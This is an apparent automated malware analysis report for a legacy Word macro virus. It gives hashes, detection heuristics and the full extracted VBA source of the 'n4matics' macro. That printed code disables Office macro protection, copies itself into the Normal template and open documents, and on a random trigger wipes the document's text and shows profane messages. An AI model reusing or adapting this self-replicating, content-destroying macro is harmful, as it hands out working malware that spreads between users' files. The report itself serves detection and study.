Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 264a693f346b359f…

MALICIOUS

Office (OLE)

40.0 KB Created: 2001-02-12 03:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3448f581bcc985c9809e68cdac5f3af7 SHA-1: cd005879feef180a581f2aa177aa670b7cdbe58e SHA-256: 264a693f346b359f1b71039866143545fed5e0730a0a5657b9c402d464460422
248 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus, specifically identified as Win.Trojan.Pivis-2 by ClamAV. The embedded VBA macro, named 'n4matics', contains markers and logic consistent with a macro-based infection mechanism, including attempts to export and import its code to the Normal template and the active document. The script also attempts to create a temporary file at 'c:\n4mat.ics' for its operations.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            .VirusProtection = False
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3246 bytes
SHA-256: b81869457dffa600f92df4c9c490c9e1ada92fa4a0a55cd6e3eba6b179bcd7d2
Detection
ClamAV: Doc.Trojan.Intruded-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "n4matics"
'w97/n4matics virus
'by ppacket

Private Sub infect()
On Error Resume Next
    
    Dim Nactive, Aactive As Boolean
        
    WordBasic.DisableAutoMacros 0
   
    With Application
        .UserName = "ppacket"
        .DisplayStatusBar = False
        .ScreenUpdating = False
    End With
    
    With Dialogs(wdDialogFileSummaryInfo)
        .Author = "ppacket"
        .Keywords = "macro|virus|ppacket|informatics"
        .Comments = "shit 2 all d students n staff of informatics sm fairview" & vbCr & _
                  "fuck you all"
        .Title = "ppacket's time to shine"
        .Subject = "informatics virus"
        .Execute
    End With
    
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    
    With ActiveDocument
        .ReadOnlyRecommended = False
    End With
    
    Set NTI = NormalTemplate.VBProject.VBComponents
    Set ADI = ActiveDocument.VBProject.VBComponents
    
    If NTI.Item("n4matics").Name <> "n4matics" Then
    ADI("n4matics").export "c:\n4mat.ics"
    Nactive = True
    ElseIf ADI.Item("n4matics").Name <> "n4matics" Then
    NTI("n4matics").export "c:\n4mat.ics"
    Aactive = True
    End If
    
    If Nactive Then
    NTI.import "c:\n4mat.ics"
    NormalTemplate.Save
    ElseIf Aactive Then
    ADI.import "c:\n4mat.ics"
    ActiveDocument.Save
    End If
    Kill ("c:\n4mat.ics")
    
    Randomize
    trigger = shit & damn & Int((66 * Rnd) + 1)
     
    If trigger = 26 Then
        Call Payback
    End If
    
End Sub

Sub AutoClose()
On Error Resume Next

    Call infect

    If opendocument.Saved = False Then
        opendocument.SaveAs FileName:=ActiveDocument.FullName
    End If

    ActiveDocument.Close savechanges = wdSaveChanges

End Sub

Private Sub Payback()
On Error Resume Next

    Selection.WholeStory
    Selection.Delete unit:=wdCharacter, Count:=1
    With Selection.Font
    .Name = Arial
    .ColorIndex = wdGray50
    .Animation = wdAnimationShimmer
    .Size = 26
    .Position = center
    End With
            
    Selection.InsertBefore "Hehehehehehehehehehe" & vbCr & _
                           "You've been intruded" & vbCr & _
                           "By n4matics virus!!!"
    If ActiveDocument.Saved = False Then
        ActiveDocument.Save
    End If
    
    With Assistant
    .Visible = True
    .MoveWhenInTheWay = True
    .Animation = msoAnimationGetArtsy
    .Left = trigger
    .Visible = True
    End With

    With Assistant.NewBalloon
    .Icon = msoCritical
    .Heading = "n4matics Virus"
    .Text = "You've been intruded by" & vbCr & _
            "  those fucking ppl @ " & vbCr & _
            "informatics SM fairview"
    .Show
    End With

End Sub

Sub toolsmacro()

Call Payback

End Sub

Sub viewvbcode()

Call Payback

End Sub

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